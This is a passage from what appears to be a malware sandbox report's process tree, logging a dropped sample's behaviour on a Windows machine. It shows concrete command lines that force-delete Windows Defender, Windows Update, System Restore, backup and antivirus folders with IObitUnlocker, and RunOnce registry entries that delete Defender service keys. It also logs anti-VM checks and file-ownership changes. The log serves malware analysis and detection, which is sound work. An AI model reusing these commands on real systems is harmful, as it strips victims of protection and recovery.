Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                    7⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:2896
                                  • C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
                                    C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\SysWOW64\SecurityHealthService.exe","C:\Windows\SysWOW64\SecurityHealthSystray.exe","C:\Windows\SysWOW64\SecurityHealthHost.exe","C:\Windows\SysWOW64\SecurityHealthAgent.dll","C:\Windows\SysWOW64\SecurityHealthSSO.dll","C:\Windows\SysWOW64\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\smartscreenps.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\smartscreenps.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\Windows\SysWOW64\restore","C:\Windows\SysWOW64\config\RegBack","C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Windows\SysWOW64\wbem\Repository","C:\Windows\SysWOW64\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\ProgramData\Malwarebytes","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\usosvc.dll","C:\Windows\system32\usoapi.dll","C:\Windows\system32\usocoreps.dll","C:\Windows\system32\WindowsUpdateBox.exe","C:\Windows\system32\WindowsUpdateProvider.dll","C:\Windows\system32\WindowsUpdateElevatedInstaller.exe","C:\Windows\system32\NotificationController.exe","C:\Windows\system32\ActionCenter.dll","C:\Windows\system32\ActionCenterCPL.cpl","C:\Windows\SysWOW64\wuauserv.dll","C:\Windows\SysWOW64\wuaueng.dll","C:\Windows\SysWOW64\UsoClient.exe","C:\Windows\SysWOW64\usocore.dll","C:\Windows\SysWOW64\MoUsoCoreWorker.exe","C:\Windows\SysWOW64\musnotification.exe","C:\Windows\SysWOW64\musnotificationux.exe","C:\Windows\SysWOW64\wuauclt.exe","C:\Windows\SysWOW64\wuapi.dll","C:\Windows\SysWOW64\wuwebv.dll","C:\Windows\SysWOW64\usosvc.dll","C:\Windows\SysWOW64\usoapi.dll","C:\Windows\SysWOW64\usocoreps.dll","C:\Windows\SysWOW64\WindowsUpdateBox.exe","C:\Windows\SysWOW64\WindowsUpdateProvider.dll","C:\Windows\SysWOW64\WindowsUpdateElevatedInstaller.exe","C:\Windows\SysWOW64\NotificationController.exe","C:\Windows\SysWOW64\ActionCenter.dll","C:\Windows\SysWOW64\ActionCenterCPL.cpl","C:\Windows\servicing\Version","C:\Windows\servicing\Sessions","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate\Scheduled Start","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\ProgramData\Microsoft\Windows\DeviceMetadataCache","C:\ProgramData\Microsoft\Windows\WER","C:\Users\Default\AppData\LocalLow\Microsoft\WindowsUpdate","C:\Users\Default\AppData\LocalLow\Microsoft\Windows.Storage","C:\Windows\system32\drivers\UMDF\WUDFUpdate.dll","C:\Windows\system32\drivers\UMDF\WUDFPlatform.dll","C:\Windows\system32\drivers\UMDF\WUDFx.dll","C:\Windows\system32\drivers\UMDF\WpdMtpDr.dll","C:\Windows\system32\drivers\UMDF\WpdBusEnum.dll","C:\Windows\system32\drivers\UMDF\WpdConns.dll","C:\Windows\system32\drivers\UMDF\WpdMtpUs.dll","C:\Windows\system32\drivers\UMDF\WpdWudf.dll","C:\Windows\system32\drivers\UMDF\WUDFHost.exe","C:\Windows\system32\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\system32\drivers\UMDF\WUDFxHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFUpdate.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatform.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFx.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpDr.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdBusEnum.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdConns.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdMtpUs.dll","C:\Windows\SysWOW64\drivers\UMDF\WpdWudf.dll","C:\Windows\SysWOW64\drivers\UMDF\WUDFHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFPlatformHost.exe","C:\Windows\SysWOW64\drivers\UMDF\WUDFxHost.exe","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\SysWOW64\Tasks\Microsoft\Windows\Windows Defender","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
                                    7⤵
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • System Location Discovery: System Language Discovery
                                    • Suspicious behavior: EnumeratesProcesses
                                    • Suspicious use of SetWindowsHookEx
                                    PID:4668
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c sc stop IObitUnlocker & sc delete IObitUnlocker
                                    7⤵
                                    • Executes a command shell one-liner
                                    PID:2976
                                    • C:\Windows\system32\sc.exe
                                      sc stop IObitUnlocker
                                      8⤵
                                      • Launches sc.exe
                                      PID:4644
                                    • C:\Windows\system32\sc.exe
                                      sc delete IObitUnlocker
                                      8⤵
                                      • Launches sc.exe
                                      PID:3872
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /c taskkill /f /pid "4392"
                                    7⤵
                                    • Executes a command shell one-liner
                                    PID:2520
                                    • C:\Windows\system32\taskkill.exe
                                      taskkill /f /pid "4392"
                                      8⤵
                                      • Kills process with taskkill
                                      • Suspicious use of AdjustPrivilegeToken
                                      PID:1624
                                • C:\Windows\SysWOW64\reg.exe
                                  reg delete "HKU\S-1-5-18\Software\Microsoft\Windows\CurrentVersion\Themes\Personalize" /f
                                  6⤵
                                  • Modifies data under HKEY_USERS
                                  PID:2208
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:3920
                                • C:\Windows\SysWOW64\reg.exe
                                  reg add "HKLM\Software\Microsoft\Windows\CurrentVersion\RunOnce" /v "RegClean1" /t reg_sz /f /d "\"C:\Users\Admin\AppData\Local\Temp\hater\NSudoLG.exe\" -U:T -P:E -ShowWindowMode:Hide -Wait start "" /min cmd.exe /c \"timeout /t 3 /nobreak & reg delete HKLM\System\CurrentControlSet\Services\WdFilter /f & reg delete HKLM\System\CurrentControlSet\Services\WinDefend /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisDrv /f & reg delete HKLM\System\CurrentControlSet\Services\MDCoreSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdNisSvc /f & reg delete HKLM\System\CurrentControlSet\Services\WdBoot /f\""
                                  6⤵
                                  • System Location Discovery: System Language Discovery
                                  PID:1160
                        • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2J9943.exe
                          C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\2J9943.exe
                          2⤵
                          • Identifies VirtualBox via ACPI registry values (likely anti-VM)
                          • Checks BIOS information in registry
                          • Executes dropped EXE
                          • Identifies Wine through registry keys
                          • Suspicious use of NtSetInformationThreadHideFromDebugger
                          • System Location Discovery: System Language Discovery
                          • Suspicious behavior: EnumeratesProcesses
                          PID:1868
                      • C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Z48u1.exe
                        C:\Users\Admin\AppData\Local\Temp\IXP000.TMP\1Z48u1.exe
                        1⤵
                        • Executes dropped EXE
                        • Drops file in Windows directory
                        • Suspicious use of WriteProcessMemory
                        PID:1616
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /c icacls "C:\Windows\h7Lrxqd6.exe" /setowner "SYSTEM"
                          2⤵
                          • Executes a command shell one-liner
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:5036
                          • C:\Windows\SysWOW64\icacls.exe
                            icacls "C:\Windows\h7Lrxqd6.exe" /setowner "SYSTEM"
                            3⤵
                            • Modifies file permissions
                            • System Location Discovery: System Language Discovery
                            • Suspicious use of AdjustPrivilegeToken
                            PID:2892
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /c icacls "C:\Windows\h7Lrxqd6.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
                          2⤵
                          • Executes a command shell one-liner
                          • System Location Discovery: System Language Discovery
                          • Suspicious use of WriteProcessMemory
                          PID:5000
                          • C:\Windows\SysWOW64\icacls.exe
                            icacls "C:\Windows\h7Lrxqd6.exe" /inheritance:r /grant SYSTEM:F /grant Everyone:RX
                            3⤵
                            • Modifies file permissions
                            PID:2972
                        • C:\Windows\SysWOW64\cmd.exe
                          "cmd.exe" /c icacls "C:\Windows\h7Lrxqd6.exe" /remove:d Everyone Administrators
                          2⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1284
                          • C:\Windows\SysWOW64\icacls.exe
                            icacls "C:\Windows\h7Lrxqd6.exe" /remove:d Everyone Administrators
                            3⤵
                            • Modifies file permissions
                            • System Location Discovery: System Language Discovery
                            PID:4520
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:4160
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4160 -s 536
                            3⤵
                            • Program crash
                            PID:1096
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:1052
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 1052 -s 508
                            3⤵
                            • Program crash
                            PID:3876
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:4380
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4380 -s 508
                            3⤵
                            • Program crash
                            PID:1764
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:4136
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4136 -s 508
                            3⤵
                            • Program crash
                            PID:1056
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2780
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2780 -s 508
                            3⤵
                            • Program crash
                            PID:5048
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:3420
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3420 -s 508
                            3⤵
                            • Program crash
                            PID:3084
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2972
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2972 -s 508
                            3⤵
                            • Program crash
                            PID:1568
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:2504
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 2504 -s 508
                            3⤵
                            • Program crash
                            PID:4396
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:4572
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 4572 -s 512
                            3⤵
                            • Program crash
                            PID:4316
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:1804
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 1804 -s 508
                            3⤵
                            • Program crash
                            PID:2124
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:3632
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3632 -s 508
                            3⤵
                            • Program crash
                            PID:4400
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:912
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 912 -s 508
                            3⤵
                            • Program crash
                            PID:628
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:3752
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 3752 -s 508
                            3⤵
                            • Program crash
                            PID:3688
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:1448
                          • C:\Windows\SysWOW64\WerFault.exe
                            C:\Windows\SysWOW64\WerFault.exe -u -p 1448 -s 508
                            3⤵
                            • Program crash
                            PID:1384
                        • C:\Windows\h7Lrxqd6.exe
                          "C:\Windows\h7Lrxqd6.exe"
                          2⤵
                          • Executes dropped EXE
                          PID:3064
                          • C:\Windows\SysWOW64\WerFault.exe
